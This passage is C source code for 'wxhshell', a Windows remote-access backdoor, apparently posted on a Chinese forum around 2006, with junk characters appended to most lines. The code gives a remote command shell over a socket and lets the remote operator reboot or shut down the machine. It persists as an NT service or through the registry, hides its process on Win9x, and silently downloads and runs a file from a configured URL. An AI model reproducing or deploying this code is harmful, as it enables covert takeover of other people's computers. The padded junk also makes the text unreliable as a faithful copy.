  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L\kT9wWK|  
  } C_hIPMU=  
  else { 3j$,x(ua9  
VzFzVeJ  
    switch(cmd[0]) { dU"C=c(w\  
  _k W:FB  
  // 帮助 xJ|Z]m=d   
  case '?': { iw EHEi%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YpbJoHiSH  
    break; 7o M]qLF  
  } EY!P"u;  
  // 安装 $%J $  
  case 'i': { Vg"Ze[dA  
    if(Install()) V P4ToYc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i>rsq[l  
    else " []J[!}x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L2y{\<JC"  
    break; |.U- yyz  
    } ,%]s:vk[u  
  // 卸载 0EP8MRSR  
  case 'r': { c\eT`.ENk  
    if(Uninstall()) u]Y NF[]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +&TcTu#.`  
    else /K#J63 ,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :!gzx n  
    break; t~]oJ5%  
    } %^8>=  
  // 显示 wxhshell 所在路径 6I\mhw!pQ  
  case 'p': { I*i$!$Bx2  
    char svExeFile[MAX_PATH]; "LH*T  
    strcpy(svExeFile,"\n\r"); Fqp~1>wi  
      strcat(svExeFile,ExeFile); \A3yM{G~+  
        send(wsh,svExeFile,strlen(svExeFile),0); 8 uhB&qxB  
    break; WN?meZ/N/  
    } _b 8XF&O  
  // 重启 Hz<)a(r!J  
  case 'b': { _N`pwxpsb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =E%<"FB  
    if(Boot(REBOOT)) =R\-mov$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q\5C-f  
    else { qxW 2q8QHo  
    closesocket(wsh); bYH! P/  
    ExitThread(0); [Z?vC  
    } ./;*L D  
    break; U^X8{,8O  
    } -?<L"u  
  // 关机 5Bc)QKh`l|  
  case 'd': { ? &;d)TQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ed)!Snz   
    if(Boot(SHUTDOWN)) N[,/VCW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pV))g e\  
    else { 4.mbW  
    closesocket(wsh); C(*)7| m  
    ExitThread(0); 0H{0aQQ  
    } x5Ee'G(  
    break; T)B1V,2j=  
    } 8M'6Kcr  
  // 获取shell { e %  
  case 's': { l+V5dZ8W  
    CmdShell(wsh); eDSBs3k7H  
    closesocket(wsh); Jid:$T>  
    ExitThread(0); 5{|\h}  
    break; $pGk%8l%  
  } wen6"  
  // 退出 $ /(H%f&  
  case 'x': { a?!Joi[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NeyGIEP  
    CloseIt(wsh); /`Lki>"  
    break; W\<5'9LNb  
    } y0' "  
  // 离开 w8g36v*+(u  
  case 'q': {  0-+`{j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pf`li]j'V  
    closesocket(wsh); 2={ g'k(  
    WSACleanup(); M O/-?@w  
    exit(1); )FqE8oN-  
    break; i=<(fq  
        } h(G(U_V-Od  
  } G:rM_q9\u  
  } 6l$o^R^D  
'17u Wq  
  // 提示信息 rbP3&L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yx}Z:t  
} _n{6/  
  } y!^RL,HIL  
/(nA)V( :  
  return;  U\~[  
}  OkO"t  
fwQ%mU+  
// shell模块句柄 )V}u1C-N  
int CmdShell(SOCKET sock) #UJ@P Dwil  
{ Ve8`5  
STARTUPINFO si; [P{Xg:0  
ZeroMemory(&si,sizeof(si)); 4"j5@bppJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  . yu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LVLh&9  
PROCESS_INFORMATION ProcessInfo; j{P,(-  
char cmdline[]="cmd"; :7!/FBd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8LwbOR"  
  return 0; 9H3#8T] ;  
} sEvJ!$Tt?I  
}%R6Su]y  
// 自身启动模式  Phgn|  
int StartFromService(void) ]@ [=FK^  
{ }wkBa]  
typedef struct  5>w>J  
{ _L!"3  
  DWORD ExitStatus; D\V}Eo';6  
  DWORD PebBaseAddress; Krq^|DY  
  DWORD AffinityMask; 4!gyFi6$  
  DWORD BasePriority; g}qK$>EPS  
  ULONG UniqueProcessId; vFCp= 8h  
  ULONG InheritedFromUniqueProcessId; oa1a5+ A  
}   PROCESS_BASIC_INFORMATION; :WCUHQ+  
w-CuO4P  
PROCNTQSIP NtQueryInformationProcess; 1=(i{D~  
|$b4 {  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I( y Wct  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l1wxs@](  
L6A6|+H%E  
  HANDLE             hProcess; KQ9:lJKr  
  PROCESS_BASIC_INFORMATION pbi; t8)Fkx#8}  
{fN_itn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y9w= [[1  
  if(NULL == hInst ) return 0; m&A/IW,.  
|k+&we uY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T8hQ< \g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BkqIfV%O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E>6zwp  
4 |5ekwk  
  if (!NtQueryInformationProcess) return 0; oG*lU h}  
Iwn@%?7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MB |(,{S  
  if(!hProcess) return 0; Ol%*3To  
*j*jA/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q-8  GD7  
Y]gt86  
  CloseHandle(hProcess); 9wb$_j]F`#  
@g=A\2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^3yjE/Wi"  
if(hProcess==NULL) return 0; wA~Nfn ^  
w\2[dd  
HMODULE hMod; r 2H'r ,N  
char procName[255]; rP\ 7C+  
unsigned long cbNeeded;  +NXj/  
f@/qW!o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -=sxbs.aA  
\A~  '&  
  CloseHandle(hProcess); ~V|!\CB  
"4?hK  
if(strstr(procName,"services")) return 1; // 以服务启动 !eTS PM  
~!nd'{{9  
  return 0; // 注册表启动 #U_u~7?H$  
} z~Pmh%b  
``E;!r="v  
// 主模块 F'~/  
int StartWxhshell(LPSTR lpCmdLine) i ('EBO  
{ =4%C?(\  
  SOCKET wsl; vaxg^n|v9  
BOOL val=TRUE; {oJa8~P  
  int port=0; +|8Lt[^ux  
  struct sockaddr_in door; 6aK--k  
8|tm`r`*Az  
  if(wscfg.ws_autoins) Install(); JWn{nJ$]  
QJE- $ :  
port=atoi(lpCmdLine); !S-hv1bE  
}-Ma ~/  
if(port<=0) port=wscfg.ws_port; dDuA%V0  
6b8Klrar!  
  WSADATA data; pnG8c<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /g9{zR [  
w0I /  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {pg@JA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0*"j:V  
  door.sin_family = AF_INET; =dw1Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AP7W)S  
  door.sin_port = htons(port); R`?^%1^N  
6;b 'j\jG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Uy1xNb/d  
closesocket(wsl); [ O)Zof  
return 1; ;VH]TKkk  
} <EUSl|6  
&e)p6Egl  
  if(listen(wsl,2) == INVALID_SOCKET) { 9}mp,egV  
closesocket(wsl); ,Ex\\p-  
return 1; E 9:hK  
} bOdv]nQ1  
  Wxhshell(wsl); %Uk/P  
  WSACleanup(); lG+ltCc$9  
qR<DQTO<  
return 0; $"(YE #]|  
-U $pW(~  
} S- \lN|  
8JrGZ8Q4RM  
// 以NT服务方式启动 >y~_Hh(TSL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E!<$J^  
{ 9C 05  
DWORD   status = 0; //,'oh~W  
  DWORD   specificError = 0xfffffff; ~.lH)  
#]N9/Hij#g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^k(eRs;K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; . R}y"O\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ju[`Qw`I  
  serviceStatus.dwWin32ExitCode     = 0; }"x*xN  
  serviceStatus.dwServiceSpecificExitCode = 0; oMe]dK  
  serviceStatus.dwCheckPoint       = 0; )l}wjKfgO  
  serviceStatus.dwWaitHint       = 0; O*v+<|0!l  
M!l5,ycF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D` X6'PP  
  if (hServiceStatusHandle==0) return; e;'T?&t  
T!A}ipqb  
status = GetLastError(); L _y|l5  
  if (status!=NO_ERROR) NETC{:j  
{ c):*R ]=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SkA'+(  
    serviceStatus.dwCheckPoint       = 0; XXcf!~uO  
    serviceStatus.dwWaitHint       = 0; EXcjF  
    serviceStatus.dwWin32ExitCode     = status; xi\RUAW  
    serviceStatus.dwServiceSpecificExitCode = specificError; wIj2 IAD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E <SE Fn  
    return; G0> Wk#or  
  } [\ YP8^..  
rM=A"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yj R O9  
  serviceStatus.dwCheckPoint       = 0; 0Ida]H  
  serviceStatus.dwWaitHint       = 0; d@4!^vD;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #jx?uS  
} * _l o;  
X4G55]D$>  
// 处理NT服务事件,比如:启动、停止 %Nl(Y@dD*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @e0skc  
{ [s{:}ZuKc  
switch(fdwControl) f4T0Y["QA  
{ %pkq ?9  
case SERVICE_CONTROL_STOP: I?g__u=n~  
  serviceStatus.dwWin32ExitCode = 0; @qy*R'+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b[;3KmUB  
  serviceStatus.dwCheckPoint   = 0; 'aP*++^   
  serviceStatus.dwWaitHint     = 0; }2A1Yt:^P  
  { `>EvT7u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 hadA>d  
  } Hk*cO;c  
  return; }n%R l\p  
case SERVICE_CONTROL_PAUSE: m Ap|?n/K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l1Q+hz5"*U  
  break; 5l/l]  
case SERVICE_CONTROL_CONTINUE: g Pj0H&,.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $2CGRhC  
  break; 0_mvz%[J  
case SERVICE_CONTROL_INTERROGATE: Z:J.FI@  
  break; ^p zxwt  
}; 0P40K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]"g >>N  
} o[[r_v_d  
-b0'Q  
// 标准应用程序主函数 PZ(<eJ>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {ah~q}(P  
{ uEGPgYY(  
GR[>mkW!M  
// 获取操作系统版本 ^MHn2Cv/~  
OsIsNt=GetOsVer(); *Yu\YjLPG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -yQ\3wli`  
j~*Z7iu  
  // 从命令行安装 e=z_+gVm  
  if(strpbrk(lpCmdLine,"iI")) Install(); x0h3jw+6  
![]I%'s  
  // 下载执行文件 )c >B23D  
if(wscfg.ws_downexe) { /+t[,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &:I +]G/W  
  WinExec(wscfg.ws_filenam,SW_HIDE); LZC?383'  
} y2$;t'  
Cm;qDvj+u  
if(!OsIsNt) { )USC  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]z=Vc#+!  
HideProc(); ?g;ZbD  
StartWxhshell(lpCmdLine); 3!9 yuf  
} n`z+ w*  
else &:CjUaP@  
  if(StartFromService()) k-pEBh OH  
  // 以服务方式启动 u 1{ym_  
  StartServiceCtrlDispatcher(DispatchTable); WmjzKCl  
else m?VRX .>  
  // 普通方式启动 m_"p$m;  
  StartWxhshell(lpCmdLine); TBKd|D'H  
)| x%o(n  
return 0; DGZY~(]  
}
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只看该作者 1 发表于: 2006-10-10
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